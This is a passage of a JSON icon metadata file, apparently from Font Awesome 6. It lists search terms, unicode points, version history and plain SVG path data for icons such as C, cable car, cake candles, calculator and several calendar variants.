        "path": "M224 150.7l42.9 160.7h-85.8L224 150.7zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-65.3 325.3l-94.5-298.7H159.8L65.3 405.3H156l111.7-91.6 24.2 91.6h90.8z"
      }
    },
    "free": ["brands"]
  },
  "c": {
    "aliases": {
      "unicodes": {
        "composite": ["63"]
      }
    },
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Latin Capital Letter C", "Latin Small Letter C", "letter"]
    },
    "styles": ["solid"],
    "unicode": "43",
    "label": "C",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767247,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M329.1 142.9c-62.5-62.5-155.8-62.5-218.3 0s-62.5 163.8 0 226.3s155.8 62.5 218.3 0c12.5-12.5 32.8-12.5 45.3 0s12.5 32.8 0 45.3c-87.5 87.5-221.3 87.5-308.8 0s-87.5-229.3 0-316.8s221.3-87.5 308.8 0c12.5 12.5 12.5 32.8 0 45.3s-32.8 12.5-45.3 0z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M329.1 142.9c-62.5-62.5-155.8-62.5-218.3 0s-62.5 163.8 0 226.3s155.8 62.5 218.3 0c12.5-12.5 32.8-12.5 45.3 0s12.5 32.8 0 45.3c-87.5 87.5-221.3 87.5-308.8 0s-87.5-229.3 0-316.8s221.3-87.5 308.8 0c12.5 12.5 12.5 32.8 0 45.3s-32.8 12.5-45.3 0z"
      }
    },
    "free": ["solid"]
  },
  "cable-car": {
    "aliases": {
      "names": ["tram"],
      "unicodes": {
        "composite": ["1f6a1", "e0cf"],
        "secondary": ["10f7da"]
      }
    },
    "changes": [
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.1.2",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "aerial tramway",
        "cable",
        "gondola",
        "lift",
        "mountain",
        "mountain cableway",
        "tram",
        "tramway",
        "trolley"
      ]
    },
    "styles": ["solid"],
    "unicode": "f7da",
    "label": "Cable Car",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767649,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M288 0a32 32 0 1 1 0 64 32 32 0 1 1 0-64zM160 56a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zM32 288c0-35.3 28.7-64 64-64H232V157.5l-203.1 42c-13 2.7-25.7-5.7-28.4-18.6s5.7-25.7 18.6-28.4l232-48 232-48c13-2.7 25.7 5.7 28.4 18.6s-5.7 25.7-18.6 28.4L280 147.5V224H416c35.3 0 64 28.7 64 64V448c0 35.3-28.7 64-64 64H96c-35.3 0-64-28.7-64-64V288zm64 0c-8.8 0-16 7.2-16 16v64c0 8.8 7.2 16 16 16h64c8.8 0 16-7.2 16-16V304c0-8.8-7.2-16-16-16H96zm112 16v64c0 8.8 7.2 16 16 16h64c8.8 0 16-7.2 16-16V304c0-8.8-7.2-16-16-16H224c-8.8 0-16 7.2-16 16zm144-16c-8.8 0-16 7.2-16 16v64c0 8.8 7.2 16 16 16h64c8.8 0 16-7.2 16-16V304c0-8.8-7.2-16-16-16H352z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M288 0a32 32 0 1 1 0 64 32 32 0 1 1 0-64zM160 56a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zM32 288c0-35.3 28.7-64 64-64H232V157.5l-203.1 42c-13 2.7-25.7-5.7-28.4-18.6s5.7-25.7 18.6-28.4l232-48 232-48c13-2.7 25.7 5.7 28.4 18.6s-5.7 25.7-18.6 28.4L280 147.5V224H416c35.3 0 64 28.7 64 64V448c0 35.3-28.7 64-64 64H96c-35.3 0-64-28.7-64-64V288zm64 0c-8.8 0-16 7.2-16 16v64c0 8.8 7.2 16 16 16h64c8.8 0 16-7.2 16-16V304c0-8.8-7.2-16-16-16H96zm112 16v64c0 8.8 7.2 16 16 16h64c8.8 0 16-7.2 16-16V304c0-8.8-7.2-16-16-16H224c-8.8 0-16 7.2-16 16zm144-16c-8.8 0-16 7.2-16 16v64c0 8.8 7.2 16 16 16h64c8.8 0 16-7.2 16-16V304c0-8.8-7.2-16-16-16H352z"
      }
    },
    "free": ["solid"]
  },
  "cake-candles": {
    "aliases": {
      "names": ["birthday-cake", "cake"],
      "unicodes": {
        "composite": ["1f382"],
        "secondary": ["10f1fd"]
      }
    },
    "changes": ["4.2.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "anniversary",
        "bakery",
        "birthday",
        "birthday cake",
        "cake",
        "candles",
        "celebration",
        "dessert",
        "frosting",
        "holiday",
        "party",
        "pastry",
        "sweet"
      ]
    },
    "styles": ["solid"],
    "unicode": "f1fd",
    "label": "Cake Candles",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767419,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M86.4 5.5L61.8 47.6C58 54.1 56 61.6 56 69.2V72c0 22.1 17.9 40 40 40s40-17.9 40-40V69.2c0-7.6-2-15-5.8-21.6L105.6 5.5C103.6 2.1 100 0 96 0s-7.6 2.1-9.6 5.5zm128 0L189.8 47.6c-3.8 6.5-5.8 14-5.8 21.6V72c0 22.1 17.9 40 40 40s40-17.9 40-40V69.2c0-7.6-2-15-5.8-21.6L233.6 5.5C231.6 2.1 228 0 224 0s-7.6 2.1-9.6 5.5zM317.8 47.6c-3.8 6.5-5.8 14-5.8 21.6V72c0 22.1 17.9 40 40 40s40-17.9 40-40V69.2c0-7.6-2-15-5.8-21.6L361.6 5.5C359.6 2.1 356 0 352 0s-7.6 2.1-9.6 5.5L317.8 47.6zM128 176c0-17.7-14.3-32-32-32s-32 14.3-32 32v48c-35.3 0-64 28.7-64 64v71c8.3 5.2 18.1 9 28.8 9c13.5 0 27.2-6.1 38.4-13.4c5.4-3.5 9.9-7.1 13-9.7c1.5-1.3 2.7-2.4 3.5-3.1c.4-.4 .7-.6 .8-.8l.1-.1 0 0 0 0s0 0 0 0s0 0 0 0c3.1-3.2 7.4-4.9 11.9-4.8s8.6 2.1 11.6 5.4l0 0 0 0 .1 .1c.1 .1 .4 .4 .7 .7c.7 .7 1.7 1.7 3.1 3c2.8 2.6 6.8 6.1 11.8 9.5c10.2 7.1 23 13.1 36.3 13.1s26.1-6 36.3-13.1c5-3.5 9-6.9 11.8-9.5c1.4-1.3 2.4-2.3 3.1-3c.3-.3 .6-.6 .7-.7l.1-.1c3-3.5 7.4-5.4 12-5.4s9 2 12 5.4l.1 .1c.1 .1 .4 .4 .7 .7c.7 .7 1.7 1.7 3.1 3c2.8 2.6 6.8 6.1 11.8 9.5c10.2 7.1 23 13.1 36.3 13.1s26.1-6 36.3-13.1c5-3.5 9-6.9 11.8-9.5c1.4-1.3 2.4-2.3 3.1-3c.3-.3 .6-.6 .7-.7l.1-.1c2.9-3.4 7.1-5.3 11.6-5.4s8.7 1.6 11.9 4.8l0 0 0 0 0 0 .1 .1c.2 .2 .4 .4 .8 .8c.8 .7 1.9 1.8 3.5 3.1c3.1 2.6 7.5 6.2 13 9.7c11.2 7.3 24.9 13.4 38.4 13.4c10.7 0 20.5-3.9 28.8-9V288c0-35.3-28.7-64-64-64V176c0-17.7-14.3-32-32-32s-32 14.3-32 32v48H256V176c0-17.7-14.3-32-32-32s-32 14.3-32 32v48H128V176zM448 394.6c-8.5 3.3-18.2 5.4-28.8 5.4c-22.5 0-42.4-9.9-55.8-18.6c-4.1-2.7-7.8-5.4-10.9-7.8c-2.8 2.4-6.1 5-9.8 7.5C329.8 390 310.6 400 288 400s-41.8-10-54.6-18.9c-3.5-2.4-6.7-4.9-9.4-7.2c-2.7 2.3-5.9 4.7-9.4 7.2C201.8 390 182.6 400 160 400s-41.8-10-54.6-18.9c-3.7-2.6-7-5.2-9.8-7.5c-3.1 2.4-6.8 5.1-10.9 7.8C71.2 390.1 51.3 400 28.8 400c-10.6 0-20.3-2.2-28.8-5.4V480c0 17.7 14.3 32 32 32H416c17.7 0 32-14.3 32-32V394.6z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M86.4 5.5L61.8 47.6C58 54.1 56 61.6 56 69.2V72c0 22.1 17.9 40 40 40s40-17.9 40-40V69.2c0-7.6-2-15-5.8-21.6L105.6 5.5C103.6 2.1 100 0 96 0s-7.6 2.1-9.6 5.5zm128 0L189.8 47.6c-3.8 6.5-5.8 14-5.8 21.6V72c0 22.1 17.9 40 40 40s40-17.9 40-40V69.2c0-7.6-2-15-5.8-21.6L233.6 5.5C231.6 2.1 228 0 224 0s-7.6 2.1-9.6 5.5zM317.8 47.6c-3.8 6.5-5.8 14-5.8 21.6V72c0 22.1 17.9 40 40 40s40-17.9 40-40V69.2c0-7.6-2-15-5.8-21.6L361.6 5.5C359.6 2.1 356 0 352 0s-7.6 2.1-9.6 5.5L317.8 47.6zM128 176c0-17.7-14.3-32-32-32s-32 14.3-32 32v48c-35.3 0-64 28.7-64 64v71c8.3 5.2 18.1 9 28.8 9c13.5 0 27.2-6.1 38.4-13.4c5.4-3.5 9.9-7.1 13-9.7c1.5-1.3 2.7-2.4 3.5-3.1c.4-.4 .7-.6 .8-.8l.1-.1 0 0 0 0s0 0 0 0s0 0 0 0c3.1-3.2 7.4-4.9 11.9-4.8s8.6 2.1 11.6 5.4l0 0 0 0 .1 .1c.1 .1 .4 .4 .7 .7c.7 .7 1.7 1.7 3.1 3c2.8 2.6 6.8 6.1 11.8 9.5c10.2 7.1 23 13.1 36.3 13.1s26.1-6 36.3-13.1c5-3.5 9-6.9 11.8-9.5c1.4-1.3 2.4-2.3 3.1-3c.3-.3 .6-.6 .7-.7l.1-.1c3-3.5 7.4-5.4 12-5.4s9 2 12 5.4l.1 .1c.1 .1 .4 .4 .7 .7c.7 .7 1.7 1.7 3.1 3c2.8 2.6 6.8 6.1 11.8 9.5c10.2 7.1 23 13.1 36.3 13.1s26.1-6 36.3-13.1c5-3.5 9-6.9 11.8-9.5c1.4-1.3 2.4-2.3 3.1-3c.3-.3 .6-.6 .7-.7l.1-.1c2.9-3.4 7.1-5.3 11.6-5.4s8.7 1.6 11.9 4.8l0 0 0 0 0 0 .1 .1c.2 .2 .4 .4 .8 .8c.8 .7 1.9 1.8 3.5 3.1c3.1 2.6 7.5 6.2 13 9.7c11.2 7.3 24.9 13.4 38.4 13.4c10.7 0 20.5-3.9 28.8-9V288c0-35.3-28.7-64-64-64V176c0-17.7-14.3-32-32-32s-32 14.3-32 32v48H256V176c0-17.7-14.3-32-32-32s-32 14.3-32 32v48H128V176zM448 394.6c-8.5 3.3-18.2 5.4-28.8 5.4c-22.5 0-42.4-9.9-55.8-18.6c-4.1-2.7-7.8-5.4-10.9-7.8c-2.8 2.4-6.1 5-9.8 7.5C329.8 390 310.6 400 288 400s-41.8-10-54.6-18.9c-3.5-2.4-6.7-4.9-9.4-7.2c-2.7 2.3-5.9 4.7-9.4 7.2C201.8 390 182.6 400 160 400s-41.8-10-54.6-18.9c-3.7-2.6-7-5.2-9.8-7.5c-3.1 2.4-6.8 5.1-10.9 7.8C71.2 390.1 51.3 400 28.8 400c-10.6 0-20.3-2.2-28.8-5.4V480c0 17.7 14.3 32 32 32H416c17.7 0 32-14.3 32-32V394.6z"
      }
    },
    "free": ["solid"]
  },
  "calculator": {
    "aliases": {
      "unicodes": {
        "composite": ["1f5a9"],
        "secondary": ["10f1ec"]
      }
    },
    "changes": [
      "4.2.0",
      "5.0.0",
      "5.3.0",
      "5.11.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Pocket Calculator",
        "abacus",
        "addition",
        "arithmetic",
        "counting",
        "math",
        "multiplication",
        "subtraction"
      ]
    },
    "styles": ["solid"],
    "unicode": "f1ec",
    "label": "Calculator",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767342,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V64c0-35.3-28.7-64-64-64H64zM96 64H288c17.7 0 32 14.3 32 32v32c0 17.7-14.3 32-32 32H96c-17.7 0-32-14.3-32-32V96c0-17.7 14.3-32 32-32zm32 160a32 32 0 1 1 -64 0 32 32 0 1 1 64 0zM96 352a32 32 0 1 1 0-64 32 32 0 1 1 0 64zM64 416c0-17.7 14.3-32 32-32h96c17.7 0 32 14.3 32 32s-14.3 32-32 32H96c-17.7 0-32-14.3-32-32zM192 256a32 32 0 1 1 0-64 32 32 0 1 1 0 64zm32 64a32 32 0 1 1 -64 0 32 32 0 1 1 64 0zm64-64a32 32 0 1 1 0-64 32 32 0 1 1 0 64zm32 64a32 32 0 1 1 -64 0 32 32 0 1 1 64 0zM288 448a32 32 0 1 1 0-64 32 32 0 1 1 0 64z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V64c0-35.3-28.7-64-64-64H64zM96 64H288c17.7 0 32 14.3 32 32v32c0 17.7-14.3 32-32 32H96c-17.7 0-32-14.3-32-32V96c0-17.7 14.3-32 32-32zm32 160a32 32 0 1 1 -64 0 32 32 0 1 1 64 0zM96 352a32 32 0 1 1 0-64 32 32 0 1 1 0 64zM64 416c0-17.7 14.3-32 32-32h96c17.7 0 32 14.3 32 32s-14.3 32-32 32H96c-17.7 0-32-14.3-32-32zM192 256a32 32 0 1 1 0-64 32 32 0 1 1 0 64zm32 64a32 32 0 1 1 -64 0 32 32 0 1 1 64 0zm64-64a32 32 0 1 1 0-64 32 32 0 1 1 0 64zm32 64a32 32 0 1 1 -64 0 32 32 0 1 1 64 0zM288 448a32 32 0 1 1 0-64 32 32 0 1 1 0 64z"
      }
    },
    "free": ["solid"]
  },
  "calendar": {
    "aliases": {
      "unicodes": {
        "composite": ["1f4c5", "1f4c6"],
        "secondary": ["10f133"]
      }
    },
    "changes": [
      "3.1.0",
      "5.0.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "calendar",
        "calendar-o",
        "date",
        "day",
        "event",
        "month",
        "schedule",
        "tear-off calendar",
        "time",
        "when",
        "year"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f133",
    "label": "Calendar",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767327,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M96 32V64H48C21.5 64 0 85.5 0 112v48H448V112c0-26.5-21.5-48-48-48H352V32c0-17.7-14.3-32-32-32s-32 14.3-32 32V64H160V32c0-17.7-14.3-32-32-32S96 14.3 96 32zM448 192H0V464c0 26.5 21.5 48 48 48H400c26.5 0 48-21.5 48-48V192z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M96 32V64H48C21.5 64 0 85.5 0 112v48H448V112c0-26.5-21.5-48-48-48H352V32c0-17.7-14.3-32-32-32s-32 14.3-32 32V64H160V32c0-17.7-14.3-32-32-32S96 14.3 96 32zM448 192H0V464c0 26.5 21.5 48 48 48H400c26.5 0 48-21.5 48-48V192z"
      },
      "regular": {
        "last_modified": 1684767327,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M152 24c0-13.3-10.7-24-24-24s-24 10.7-24 24V64H64C28.7 64 0 92.7 0 128v16 48V448c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V192 144 128c0-35.3-28.7-64-64-64H344V24c0-13.3-10.7-24-24-24s-24 10.7-24 24V64H152V24zM48 192H400V448c0 8.8-7.2 16-16 16H64c-8.8 0-16-7.2-16-16V192z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M152 24c0-13.3-10.7-24-24-24s-24 10.7-24 24V64H64C28.7 64 0 92.7 0 128v16 48V448c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V192 144 128c0-35.3-28.7-64-64-64H344V24c0-13.3-10.7-24-24-24s-24 10.7-24 24V64H152V24zM48 192H400V448c0 8.8-7.2 16-16 16H64c-8.8 0-16-7.2-16-16V192z"
      }
    },
    "free": ["regular", "solid"]
  },
  "calendar-check": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f274"]
      }
    },
    "changes": [
      "4.4.0",
      "5.0.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "accept",
        "agree",
        "appointment",
        "confirm",
        "correct",
        "date",
        "day",
        "done",
        "event",
        "month",
        "ok",
        "schedule",
        "select",
        "success",
        "tick",
        "time",
        "todo",
        "when",
        "year"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f274",
    "label": "Calendar Check",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767327,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M128 0c17.7 0 32 14.3 32 32V64H288V32c0-17.7 14.3-32 32-32s32 14.3 32 32V64h48c26.5 0 48 21.5 48 48v48H0V112C0 85.5 21.5 64 48 64H96V32c0-17.7 14.3-32 32-32zM0 192H448V464c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V192zM329 305c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0l-95 95-47-47c-9.4-9.4-24.6-9.4-33.9 0s-9.4 24.6 0 33.9l64 64c9.4 9.4 24.6 9.4 33.9 0L329 305z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M128 0c17.7 0 32 14.3 32 32V64H288V32c0-17.7 14.3-32 32-32s32 14.3 32 32V64h48c26.5 0 48 21.5 48 48v48H0V112C0 85.5 21.5 64 48 64H96V32c0-17.7 14.3-32 32-32zM0 192H448V464c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V192zM329 305c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0l-95 95-47-47c-9.4-9.4-24.6-9.4-33.9 0s-9.4 24.6 0 33.9l64 64c9.4 9.4 24.6 9.4 33.9 0L329 305z"
      },
      "regular": {
        "last_modified": 1684767327,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M128 0c13.3 0 24 10.7 24 24V64H296V24c0-13.3 10.7-24 24-24s24 10.7 24 24V64h40c35.3 0 64 28.7 64 64v16 48V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V192 144 128C0 92.7 28.7 64 64 64h40V24c0-13.3 10.7-24 24-24zM400 192H48V448c0 8.8 7.2 16 16 16H384c8.8 0 16-7.2 16-16V192zM329 297L217 409c-9.4 9.4-24.6 9.4-33.9 0l-64-64c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l47 47 95-95c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M128 0c13.3 0 24 10.7 24 24V64H296V24c0-13.3 10.7-24 24-24s24 10.7 24 24V64h40c35.3 0 64 28.7 64 64v16 48V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V192 144 128C0 92.7 28.7 64 64 64h40V24c0-13.3 10.7-24 24-24zM400 192H48V448c0 8.8 7.2 16 16 16H384c8.8 0 16-7.2 16-16V192zM329 297L217 409c-9.4 9.4-24.6 9.4-33.9 0l-64-64c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l47 47 95-95c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9z"
      }
    },
    "free": ["regular", "solid"]
  },
  "calendar-day": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f783"]
      }
    },
    "changes": [
      "5.6.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "date",
        "day",
        "detail",
        "event",
        "focus",
        "month",
        "schedule",
        "single day",
        "time",
        "today",
        "when",
        "year"
      ]
    },
    "styles": ["solid"],
    "unicode": "f783",
    "label": "Calendar Day",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767327,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M128 0c17.7 0 32 14.3 32 32V64H288V32c0-17.7 14.3-32 32-32s32 14.3 32 32V64h48c26.5 0 48 21.5 48 48v48H0V112C0 85.5 21.5 64 48 64H96V32c0-17.7 14.3-32 32-32zM0 192H448V464c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V192zm80 64c-8.8 0-16 7.2-16 16v96c0 8.8 7.2 16 16 16h96c8.8 0 16-7.2 16-16V272c0-8.8-7.2-16-16-16H80z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M128 0c17.7 0 32 14.3 32 32V64H288V32c0-17.7 14.3-32 32-32s32 14.3 32 32V64h48c26.5 0 48 21.5 48 48v48H0V112C0 85.5 21.5 64 48 64H96V32c0-17.7 14.3-32 32-32zM0 192H448V464c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V192zm80 64c-8.8 0-16 7.2-16 16v96c0 8.8 7.2 16 16 16h96c8.8 0 16-7.2 16-16V272c0-8.8-7.2-16-16-16H80z"
      }
    },
    "free": ["solid"]
  },
  "calendar-days": {
    "aliases": {
      "names": ["calendar-alt"],
      "unicodes": {
        "secondary": ["10f073"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.6.0",
      "5.7.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "calendar",
        "date",
        "day",
        "event",
        "month",
        "schedule",
        "time",
        "when",
        "year"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f073",
    "label": "Calendar Days",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767328,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M128 0c17.7 0 32 14.3 32 32V64H288V32c0-17.7 14.3-32 32-32s32 14.3 32 32V64h48c26.5 0 48 21.5 48 48v48H0V112C0 85.5 21.5 64 48 64H96V32c0-17.7 14.3-32 32-32zM0 192H448V464c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V192zm64 80v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V272c0-8.8-7.2-16-16-16H80c-8.8 0-16 7.2-16 16zm128 0v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V272c0-8.8-7.2-16-16-16H208c-8.8 0-16 7.2-16 16zm144-16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V272c0-8.8-7.2-16-16-16H336zM64 400v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V400c0-8.8-7.2-16-16-16H80c-8.8 0-16 7.2-16 16zm144-16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V400c0-8.8-7.2-16-16-16H208zm112 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V400c0-8.8-7.2-16-16-16H336c-8.8 0-16 7.2-16 16z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M128 0c17.7 0 32 14.3 32 32V64H288V32c0-17.7 14.3-32 32-32s32 14.3 32 32V64h48c26.5 0 48 21.5 48 48v48H0V112C0 85.5 21.5 64 48 64H96V32c0-17.7 14.3-32 32-32zM0 192H448V464c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V192zm64 80v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V272c0-8.8-7.2-16-16-16H80c-8.8 0-16 7.2-16 16zm128 0v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V272c0-8.8-7.2-16-16-16H208c-8.8 0-16 7.2-16 16zm144-16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V272c0-8.8-7.2-16-16-16H336zM64 400v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V400c0-8.8-7.2-16-16-16H80c-8.8 0-16 7.2-16 16zm144-16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V400c0-8.8-7.2-16-16-16H208zm112 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V400c0-8.8-7.2-16-16-16H336c-8.8 0-16 7.2-16 16z"
      },
      "regular": {
        "last_modified": 1684767328,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M152 24c0-13.3-10.7-24-24-24s-24 10.7-24 24V64H64C28.7 64 0 92.7 0 128v16 48V448c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V192 144 128c0-35.3-28.7-64-64-64H344V24c0-13.3-10.7-24-24-24s-24 10.7-24 24V64H152V24zM48 192h80v56H48V192zm0 104h80v64H48V296zm128 0h96v64H176V296zm144 0h80v64H320V296zm80-48H320V192h80v56zm0 160v40c0 8.8-7.2 16-16 16H320V408h80zm-128 0v56H176V408h96zm-144 0v56H64c-8.8 0-16-7.2-16-16V408h80zM272 248H176V192h96v56z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M152 24c0-13.3-10.7-24-24-24s-24 10.7-24 24V64H64C28.7 64 0 92.7 0 128v16 48V448c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V192 144 128c0-35.3-28.7-64-64-64H344V24c0-13.3-10.7-24-24-24s-24 10.7-24 24V64H152V24zM48 192h80v56H48V192zm0 104h80v64H48V296zm128 0h96v64H176V296zm144 0h80v64H320V296zm80-48H320V192h80v56zm0 160v40c0 8.8-7.2 16-16 16H320V408h80zm-128 0v56H176V408h96zm-144 0v56H64c-8.8 0-16-7.2-16-16V408h80zM272 248H176V192h96v56z"
      }
    },
    "free": ["regular", "solid"]
  },
  "calendar-minus": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f272"]
      }
    },
    "changes": [
      "4.4.0",
      "5.0.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "calendar",
        "date",
        "day",
        "delete",
        "event",
        "month",
        "negative",
        "remove",
        "schedule",
        "time",
        "when",
        "year"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f272",
    "label": "Calendar Minus",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767327,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M160 0c17.7 0 32 14.3 32 32V64H320V32c0-17.7 14.3-32 32-32s32 14.3 32 32V64h48c26.5 0 48 21.5 48 48v48H32V112c0-26.5 21.5-48 48-48h48V32c0-17.7 14.3-32 32-32zM32 192H480V464c0 26.5-21.5 48-48 48H80c-26.5 0-48-21.5-48-48V192zM344 376c13.3 0 24-10.7 24-24s-10.7-24-24-24H168c-13.3 0-24 10.7-24 24s10.7 24 24 24H344z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M160 0c17.7 0 32 14.3 32 32V64H320V32c0-17.7 14.3-32 32-32s32 14.3 32 32V64h48c26.5 0 48 21.5 48 48v48H32V112c0-26.5 21.5-48 48-48h48V32c0-17.7 14.3-32 32-32zM32 192H480V464c0 26.5-21.5 48-48 48H80c-26.5 0-48-21.5-48-48V192zM344 376c13.3 0 24-10.7 24-24s-10.7-24-24-24H168c-13.3 0-24 10.7-24 24s10.7 24 24 24H344z"
      },
      "regular": {
        "last_modified": 1684767327,
